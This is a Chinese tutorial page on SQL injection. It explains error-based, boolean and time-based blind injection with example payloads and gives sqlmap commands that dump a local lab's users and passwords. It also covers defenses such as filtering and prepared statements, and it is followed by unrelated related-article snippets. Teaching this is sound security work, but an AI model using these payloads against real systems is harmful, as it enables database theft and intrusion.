SQL注入攻击与防护

article/2025/10/3 9:40:38

目录

一、SQL注入攻击概述

1.1 SQL注入概念

1.1.1 标准查询过程

1.1.2 SQL注入定义

1.2 SQL注入根本原因

1.3 SQL注入条件

1.4 SQL注入防范

1.4.1 根本原因:过滤不严

1.4.2 安全设计原则:数据与代码分离

1.5 SQL注入流程

1.6 SQL注入分类

1.6.1 回显注入

1.6.2 盲注

二、回显注入攻击

2.1 寻找注入点

2.1.1 常用语句

2.1.2 页面反馈 

2.2 查字段数

2.2.1 常用的命令

2.2.2 代码语句

2.3 MySQL数据库

2.3.1 MySQL系统函数

三、SQL盲注攻击

3.1 SQL盲注特点

3.1.1 只有true和false

3.1.2 无数据库有效信息

3.2 SQL盲注分类

3.2.1 布尔盲注

3.2.2 时间盲注

3.2.3 报错盲注

3.3 盲注总体思路

四、SQL注入攻击防护

4.1 SQL注入防护思想

4.1.1 SQL注入关键条件

4.1.2 SQL注入本质

4.1.3 安全设计原则

4.2 SQL注入防护方法

4.2.1 参数过滤

4.2.2 预编译处理

五、SQLMap使用

5.1 SQL注入工具

5.1.1 SQLMap

5.1.2 阿D

5.1.3 名小子

5.2 SQLMap的使用

5.2.1 SQLMap介绍

5.2.2 具体使用步骤(GET型)


一、SQL注入攻击概述

1.1 SQL注入概念

1.1.1 标准查询过程

1.1.2 SQL注入定义

攻击者把SQL命令插入到Web表单的输入域页面请求的查询字符串,并且插入的恶意SQL命令会导致原有SQL语句作用发生改变,从而得到欺骗服务器执行恶意SQL命令的一种攻击方式。

1.2 SQL注入根本原因

没有对用户输入数据的合法性进行判断

1.3 SQL注入条件

  • 用户能够控制输入的参数,前端传给后端的参数内容是用户可以控制的。
  • 用户输入的参数被拼接到SQL语句,且带入数据库查询,成为了要执行的代码

1.4 SQL注入防范

1.4.1 根本原因:过滤不严

1.4.2 安全设计原则:数据与代码分离

1.5 SQL注入流程

  • 判断Web系统使用的脚本语言,发现注入点,并确定是否存在SQL注入漏洞
  • 判断Web系统的数据库类型
  • 判断数据库中判断表及相应字段的结构
  • 构造注入语句,得到表中数据内容
  • 查找网站后台,并用SQL注入得到的管理员账号和口令登陆
  • 结合其他漏洞,上传Webshell并持续连接
  • 进一步提权得到服务器的系统权限
  • 查找注入点
  • 查库名
  • 查表名
  • 查字段名
  • 查重点数据

1.6 SQL注入分类

1.6.1 回显注入

即用户发起查询请求,服务器将查询结果返回到页面中进行显示

1.6.2 盲注

盲注的特点是用户发起请求,这个请求不一定是查询,服务器响应请求进行数据库查询,将结果返回但不显示具体的查询结果。典型的场景如用户注册,我们只会得到是否注册成功提示,并不会显示出数据库内容。

二、回显注入攻击

2.1 寻找注入点

2.1.1 常用语句

' //单引号测试
1' and '1'='1 //恒真测试
1' and '1'='2 //恒假测试

2.1.2 页面反馈 

  • 页面无变化。以上三种情况页面都没有任何不同,那么说明后台针对此查询点的过滤比较严格,是否存在SQL注入漏洞还需要进行后续测试。
  • 页面中少了部分内容。如果前两种情况正常,而第三种情况明显页面有缺失,则基本可以确定存在SQL注入漏洞,用下一步继续进行判断。
  • 错误回显。如果访问第三个连接后出现数据库报错信息,明显可以判断存在注入,用回显注入法进行注入。
  • 跳转默认界面。第一种情况正常,而第二、三个直接跳转到首页后者默认页面,那么可能后台有验证逻辑。
  • 直接关闭连接。如果上述的第二、三种情况出现访问失败,那么就可能时开启了防护类工具在线阻断了。

2.2 查字段数

2.2.1 常用的命令

  • order by(确认表的列数)
  • union(判断回显的具体字段位,一般构造前面的语句为假)

2.2.2 代码语句

1' order by 1 #
1' order by 5 #

注释:#、(%23)、--+

2.3 MySQL数据库

2.3.1 MySQL系统函数

version() //返回当前数据库的版本信息
user() //返回当前用户
database() //返回当前数据库名
Group_concat() //将查询结果连接成字符串

2.3.2 SQL注入危害

  • 绕过检测非法登陆
  • 非法查询关键信息

三、SQL盲注攻击

3.1 SQL盲注特点

3.1.1 只有true和false

3.1.2 无数据库有效信息

回显注入语句中加入判断方式,使得返回结果为true或false。

3.2 SQL盲注分类

3.2.1 布尔盲注

布尔盲注是构造SQL判断语句

1' and length(database())>=5 #
1' and substr(database(),1,1)=d #
" and ord(substr(database(),3,1))=119 #

3.2.2 时间盲注

  • 时间盲注是利用时间函数,观察不同条件的等待时长。利用Sleep()或 benchmark() 等函数让MySQL的批行时间变长。
  • 时间盲育注入多与 if( expr1,expr2,expr3) 函数结合使用,其中若 expr1 为True,则返回值为 expr2 的值,否则是 expr3 的值。
If(length(database())>3, sleep(5),1)
lf(substr(database() ,1,1)='d', sleep(5),1)

3.2.3 报错盲注

构造特殊参数形式,利用某些函数的报错信息进行注入。如 updatexml(XML_document,XPath_string, new_value) 用 new_value 替换 XML_document 中符合 XPath_ string 的值。其中:

  • XML_document:String格式,为XML文档对象的名称
  • XPath_string:Xpath格式的字符串
  • new_value:String格式,替换查找到的符合条件的数据
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) //0x7e是~的十六进制ASCLL值
→ ERROR 1105 (HY000): XPATH syntax error: '~dvwa~'

获取数据库 dvwa下的表名:

updatexml(1,concat(0x7e,(SELECT table_name from information_schema,tables where 
table_schema='dvwa' limit 0,1),0x7e),1) //报错注入只显示一条结果,故使用 limit 语句

3.3 盲注总体思路

将想要查询的数据作为目标,构造SQL条件判断语句,与要查询的数据进行比较,并让数据库告之当前语句批行是否正确。

四、SQL注入攻击防护

4.1 SQL注入防护思想

4.1.1 SQL注入关键条件

  • 用户可控输入
  • 参数带入数据库查询

4.1.2 SQL注入本质

把用户输入当作代码执行

4.1.3 安全设计原则

数据与代码分离

4.2 SQL注入防护方法

4.2.1 参数过滤

① 参数类型限制

  • 参数类型限制:类型判定函数,如数字型判定 is_numeric(),cytpe_digit() 等
  • 参数长度限定:如 strlen() 等

② 危险字符处理

  • 黑名单过滤:针对参数中敏感字符进行过滤,用到 preg_replace() 函数,如union,\,' ,select等
  • 白名单过滤:符合白名单的方能通过
  • 参数转义:使用函数 mysgli_real_escape_string 对特殊符号转义

4.2.2 预编译处理

预编译语句,绑定变量,进行参数化查询。数据库服务器在数据库完成SQL指令的编译,才套用参数运行,参数不会被数据库运行,且仅当它是一个参数而言。

五、SQLMap使用

5.1 SQL注入工具

5.1.1 SQLMap

5.1.2 阿D

5.1.3 名小子

5.2 SQLMap的使用

5.2.1 SQLMap介绍

① 概述

开源的自动化SQL注入工具,由Python写成

② 主要功能

扫描、发现、利用给定URL的SQL注入漏洞

③ 特点

  • 完全支持多种数据库管理系统:MySQL、 Oracle、PostgreSQL、 Microsoft SQL Server.Microsoft Access、IBM DB2、SQLite、 Firebird、Sybase.SAP MaxDB、HSQLDB和Informix等
  • 支持 5 种SQL注入技术联合查询注入:市尔盲注、时间盲注、报错盲注、堆查询注入
  • 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
  • 支持自动识别密码哈希格式并通过字典破解密码哈希

5.2.2 具体使用步骤(GET型)

① 判断是否存在注入

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1"

② 爆库

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1" --dbs

③ 爆表

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1" --tables -D security

④ 爆列

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1"--columns -T users -D security

⑤ 爆数据

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1” --dump -cpassword,username -T users -D security

POST型:sqlmap.py -r 3.txt --dbs

cookie型:sqlmap.py -u “127.0.0.1/sqli-1abs/Less-20/" --cookie "uname=admin" --level 2


http://chatgpt.dhexx.cn/article/ncwLB9FE.shtml

相关文章

使用日志进行调查 - SQL 注入攻击示例

日志文件是服务器提供的非常有价值的信息。几乎所有服务器、服务和应用程序都提供某种日志记录。日志文件记录在服务或应用程序运行期间发生的事件和操作。 日志文件为我们提供了服务器行为的精确视图以及关键信息,例如何时、如何以及由谁访问服务器。此类信息可以…

Web—SQL注入攻击

文章目录 一、mysql常用语句二、SQL注入概念1. 产生原因2. 攻击分类 三、攻击流程1. 常用检测语句如何识别SQL注入2. Mysql注入常用函数3. 查询数据的核心语法4. 联合查询5. 报错注入6. 布尔盲注7. 时间盲注8. SQL注入爆库语句9. Sqlmap常用命令 四、常见防护手段及绕过方式1. …

DVWA SQL注入攻击

SQL注入原理 SQL注入就是通过SQL命令插入到web表单递交或输入域名页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,它可以通过在WEB表…

sql注入攻击实例mysql_SQL 注入攻击案例

一、检测注入点 二、判断是否存在 SQL 注入可能 三、数据库爆破 四、字段爆破 五、数据库表爆破 六、用户名、密码爆破 七、总结 一、检测注入点 首先,在 http://120.203.13.75:6815/?id=1 目标站点页面发现了 ?id,说明可以通过查询 id=1 的内容来获得页面。 这相当于查询语…

SQL注入攻击实战演示(附源码)

SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。大家也许都听过某某学长通过攻击学校数据库修改自己成绩的事情,这些学长们一般用的就是SQL注入方法。 文章目录: 何谓SQL注入? SQL数据库操…

SQL注入攻击入门

目录 一、SQL注入的原理 SQL注入漏洞的条件 二、SQL注入的危害 三、SQL注入的分类 1、注入点数据类型分类 (1)数字型注入 (2)字符型注入 2、注入点位置分类 3、注入方法分类 (1)布尔型注入 &…

数学里上凹,下凹,上凸,下凸

https://zhidao.baidu.com/question/238541854.html 数学里上凹,下凹,上凸,下凸统称为曲线的凸知性,其是指在平面坐标系里的图形样式: 1、开口向上的曲线,称为上凹,或称为下凸,形状…

凸凹函数

凹凸函数的代数定义 若函数f(x)为凸函数,那么- f(x) 为凹函数。所以,清楚了凸函数,等价于清楚了凹函数 凸函数的定义 对于一元函数f(x),如果对于任意tϵ[0,1]均满足:f(tx1(1−t)x2)≤tf(x1)(1−t)f(x2),则称…

一元函数的凹性concavity以及二阶导数

凹性(concavity)与函数导数的变化率有关。一个函数f是上凹(即抛物线方向开口向上),其导数f是增函数,也意味着f的导数(即f)是正数;类似的一个函数f是下凹(即抛物线方向开口向下),其导…

转载--32个鲜为人知的自学网站

分享32个鲜为人知并且完全免费的高质量自学网站,每个都是堪称神器,让你相见恨晚。 1:Oeasy 是一个完全免费的综合视频教程网站,非常良心实用。 它提供的视频教程非常丰富并且质量很高,包括:PS 教程、手机摄…

分享32个高质量的自学网站

原文作者:木子淇 链接:有哪些高质量的自学网站? - 知乎 来源:知乎 1:Oeasy http://oeasy.org/Oeasy 是一个完全免费的综合视频教程网站,非常良心实用。 它提供的视频教程非常丰富并且质量很高&#xf…

Jack魏--个人介绍

Jack魏 1.名字由来2.兴趣爱好3.专业技能4.所获荣誉5.所获证书6.博主平台7.阅读书籍 1.名字由来 大二去韩国大邱永进专门大学短期学习的时候, 遇到了来自加拿大的Jack老师, 他无拘无束、有趣的教学方式感动了我, 所以我的英文名为了致敬他&am…

saiku 连接 MySQL_Saiku连接mysql数据库(二)

Saiku连接Mysql数据库展示数据 参考链接:https://www.cnblogs.com/shirui/p/8573491.html 前提:Saiku已安装好,mysql已安装好 1.添加Saiku的数据库驱动: mysql-connect-java-5.1.17.jar 下载相应的数据库驱动放到 saiku-server\to…

解决生成的saiku文件读取中文乱码的问题

javax.ws.rs.WebApplicationException: org.saiku.service.util.exception.SaikuServiceException: org.saiku.service.util.exception.SaikuServiceException: Cannot get native cube for cube ( [pda].[pdaTest].[pdaTest].[鑽簵鍒嗘瀽] ) at org.saiku.web.rest.resource…

saiku集成CAS

最近一直在研究saiku如何集成公司的单点登录系统,通过google、百度搜集查阅了大量的相关资料,并和网友讨论最终在公司内部集成完成,最终测试上线;现将这一过程中的经验记录下来,分享给需要的朋友.... saiku集成CAS这一…

saiku连mysql 使用_Saiku的基本使用介绍(三)

Saiku的基本使用介绍(这里都是使用Admin用户登录系统) 1、启动安装好的Saiku ( ./start-saiku.sh ) ,浏览器使用访问系统 http://localhost:8080 ,然后使用 admin admin 登录系统 2、 登录系统后,首先点击 A ,进入管理控制平台(添加数据源信息) 2.1 根据…

使用Saiku角色权限控制Schema行级权限操作

描述:saiku加载schema模型,选择维度或度量,动态组合要展示数据进行分析操作的工具。 话不多说,直接操作 1、用admin登陆saiku,点击A按钮,添加用户sa 如图: 2、设置用户名,密码&…

saiku java_saiku 3.8 二次开发代码整理步骤(20160727更新)

创建新项目saiku3 在创建的项目中,分别创建resource目录:“src/main/saiku-web”,“src/main/saiku-service”,“src/main/saiku-olap-util”,并将saiku-core下的相应代码(java目录下和resources目录下的文件)分别copy…

saiku连mysql 使用_saiku应用的调试

ubuntu下解压saiku包后使用: 运行.sh命令(.bat是windows命令)。运行时注意权限。可以先chmod ax *.sh 提示,catali?.sh出错。 这是tomcat的一个文件,服务器不行,先查权限,当前用户。 一般是java配置的不对。…